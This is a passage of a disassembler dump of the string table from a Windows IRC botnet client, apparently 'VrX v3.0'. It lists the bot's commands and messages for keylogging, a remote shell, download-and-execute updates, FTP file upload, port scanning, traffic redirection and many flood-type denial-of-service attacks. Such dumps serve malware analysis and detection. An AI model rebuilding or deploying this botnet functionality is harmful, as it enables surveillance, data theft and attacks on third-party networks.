'8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A080: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao ; sub_4149C1+312o align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o ; sub_4149C1+2F2o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; .packed:00438AF0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; .packed:00438B00o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo ... aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: 